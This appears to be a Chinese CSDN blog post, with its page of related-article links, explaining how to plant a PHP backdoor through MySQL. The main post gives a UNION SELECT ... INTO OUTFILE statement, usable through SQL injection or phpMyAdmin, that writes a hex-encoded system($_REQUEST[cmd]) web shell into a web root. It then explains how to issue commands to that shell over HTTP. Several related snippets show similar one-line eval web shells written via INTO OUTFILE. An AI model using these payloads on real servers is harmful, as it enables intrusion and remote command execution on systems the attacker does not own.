mysql查木马_用Mysql语句生成后门木马的具体方法

最新推荐文章于 2023-08-04 11:36:53 发布
最新推荐文章于 2023-08-04 11:36:53 发布
阅读量113 收藏
点赞数
文章标签： mysql查木马
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_42456372/article/details/113953439
版权

通过Mysql 的语句生成后门木马的方法:

SELECT * FROM `vbb_strikes` WHERE 1 union select

2,3,0x3C3F7068702073797374656D28245F52455155455

3545B636D645D293B3F3E

from vbb_strikes into outfile "c:/inetpub/wwwroot/cmd.php"

通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/inetpub/wwwroot/下生成 cmd.php 文件,内容为原来的 vbb_strikes 内容,后面紧跟着:

2 3

再通过 http://www.xxx.com/cmd.php?cmd=dir c: 就可以执行系统DOS命令!

问：那串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么?

答：就是下图代码中的十六进制编码,

如果不用这种方法,有不同的SQL版本会出现其它的编码:如%xx之类的,哪这个后门就不能执行了!如果你有其它语名要弄,可以到UltraEdit里输入,再按[Ctrl+H]键,将里面的十六进制连在一起就可以了!

三七驿馆
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
复现mysql 备份上传木马，并用shell工具连接操作
weixin_64655821的博客
08-25 321
复现mysql 备份上传木马，并用shell工具连接操作
mysql查询语句的简单使用
12-14
下面将分别解释每个语句的使用方法，带*的为必写语句 SELECT* select中文意思为选择，即为从表中选择处列以显示（输出），用法如下 SELECT [列名],[列名],[列名] SELECT后必跟着要显示（输出）的列名，输出多个列名...
MySQL远程连接+植入木马获取权限
NSQ0207的博客
08-04 82
主机MySQL连接虚拟机MySQL，链接失败则虚拟机MySQL执行下面语句开启远程连接。主机MySQL执行语句，查看是否为NULL，如果是则在虚拟机里配置文件。为NULL在虚拟机里面配置。在主机的mysql里面执行。查看是否成功执行木马。
mysql写入木马getshell总结
orange777
02-25 5139
1、select into outfile写入木马 2、SQL语句利用日志写shell 3、sqlmap写入一句话getshell
mysql数据库木马查杀_Linux系统木马后门查杀方法详解
weixin_30607125的博客
02-08 435
木马和后门的查杀是系统管理员一项长期需要坚持的工作，切不可掉以轻心。以下从几个方面在说明Linux系统环境安排配置防范和木马后门查杀的方法：一、Web Server(以Nginx为例)1、为防止跨站感染，将虚拟主机目录隔离(可以直接利用fpm建立多个程序池达到隔离效果)2、上传目录、include类的库文件目录要禁止代码执行(Nginx正则过滤)3、path_info漏洞修正：在nginx配置文件...
mysql 木马_用Mysql语句来生成后门木马方案
weixin_42509847的博客
01-25 265
下面的文章主要是介绍又如何通过MySQL(和PHP搭配之***组合) 的Mysql语句来生成后门木马的具体操作方法!以下的文章主要是通过相关代码的方式来引出Mysql语句生成后门木马的具体操作方案。SELECT*FROM`vbb_strikes`WHERE1unionselect2,3,0x3C3F7068702073797374656D28245F524551554553545B...
查找MySQL中查询慢的SQL语句方法
12-16
这可能是困然很多人的一个问题，MySQL通过慢查询日志定位那些执行效率较低的SQL 语句，用–log-slow-queries[=file_name]选项启动时，mysqld 会写一个包含所有执行时间超过long_query_time 秒的SQL语句的日志文件，...
mysql.rar_mysql语句
09-19
mysql中的一些基本语句，包括增加、删除、修改等功能，可以重复使用。
MySQL.rar_mysql语句
09-21
MySQL语法语句大全,这是多年我收集整理出来的实用文档
PHP使用mysql_fetch_row查询获得数据行列表的方法
12-19
本文实例讲述了PHP使用mysql_fetch_row查询获得数据行列表的方法。分享给大家供大家参考。具体分析如下： 这里使用mysql_fetch_row从mysql数据库中查询数据，并保存到list中 语法如下： array mysql_fetch_row ...
mysql 木马_通过mysql写入一句话木马
weixin_34641420的博客
01-27 1866
USEmysql;# MySQL 返回的查询结果为空(即零行)。# MySQL 返回的查询结果为空(即零行)。CREATE TABLEa(cmd1text NOT NULL);# MySQL 返回的查询结果为空(即零行)。# MySQL 返回的查询结果为空(即零行)。INSERT INTOa( cmd1 )VALUES('');# 影响列数：1# 影响列数：1SELECTcmd1FROMaINTO...
mysql数据库木马查杀_服务器木马后门怎么查杀
weixin_42394785的博客
01-26 743
木马和后门的查杀是系统管理员一项长期需要坚持的工作，特别是如今入侵攻击越来越频繁，如果服务器自身的安全防护工作没有做好，很可能随时都会被入侵挂上木马后门。那么服务器木马后门怎么查杀?我们一起来了解下。服务器木马后门怎么查杀windows服务器的木马后门查杀教程相对校对，这里就介绍linux系统服务器的后门查杀方法，以下从几个方面在说明Linux系统环境安排配置防范和木马后门查杀的方法：一、Web ...
浅谈MySQL导出一句话木马拿WebShell的方法-只需要一句SQL
gscaiyucheng的专栏
02-28 9951
昨天看一篇文章中说到MySQL导出一句话木马拿WebShell的方法。 　　文章中用到的SQL语句大体如下(命令行或者其它能执行SQL命令的shell都行)： 　　Drop TABLE IF EXISTS temp; //如果存在temp就删掉 　　Create TABLE temp(cmd text NOT NULL); //建立temp表，里面就一个cmd字段 　　Insert INT
Mysql注入上传木马提权
Jim的博客
09-13 1149
上传暗月大马
MySQL注入之木马上传拿webshell
热门推荐
Jim的博客
08-15 1万+
原理：利用MySQL中的写命令into outfile(固定式：select A into outfile B),在目标Web虚拟路径D:/WWW/下面生成一个木马文件  工具：中国菜刀 1.首先查找SQL注入点 使用单引号'报错，使用and 1=1页面正常和and 1=2页面不正常，来判断存在SQL注入 2.使用order by猜测字段数量 ?id=1+order+by+2--+
mysql插入木马_运用Mysql语句生成后门木马的具体方法_mysql
weixin_42316952的博客
01-27 298
通过mysql 的语句生成后门木马的方法：以下为引用的内容：SELECT * FROM `vbb_strikes` WHERE 1 union select2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3Efrom vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd....
mysql写入一句话木马
Websec
07-16 1万+
前提: root权限，知道了服务器的web的绝对路径，尝试写入一句话 mysql查询语句执行：select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "D:\Wamp\2.php" 注意事项： 1、绝对路径的猜解 2、INTO OUTFILE 后面的"D:\Wamp\2.php"，有的时候需要变成“D:\\Wamp\\2.ph...
navicat_for_mysql使用sql语句
最新发布
08-17
Navicat for MySQL是一款强大的MySQL数据库管理工具，可以通过它使用SQL语句进行各种操作。你可以在Navicat中使用SQL语句来连接数据库、新建数据库、创建表、进行增删改查等操作。通过点击连接MySQL按钮，选择连接localhost，然后右键点击localhost打开连接，即可查看本地服务器信息。接下来，你可以右键点击localhost，在弹出的菜单中选择新建数据库，然后进行相应的配置。此外，Navicat for MySQL还提供了快捷的操作方式，可以方便地修改、删除、添加数据，省去了大量的SQL语句的编写工作。所以，通过Navicat for MySQL，你可以轻松地使用SQL语句来管理和操作MySQL数据库。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [Navicat for MySQL的基本使用](https://blog.csdn.net/weixin_46649052/article/details/116720924)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *3* [Navicat_for_MySQL_10.0.11.0](https://download.csdn.net/download/liza_php/7932419)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值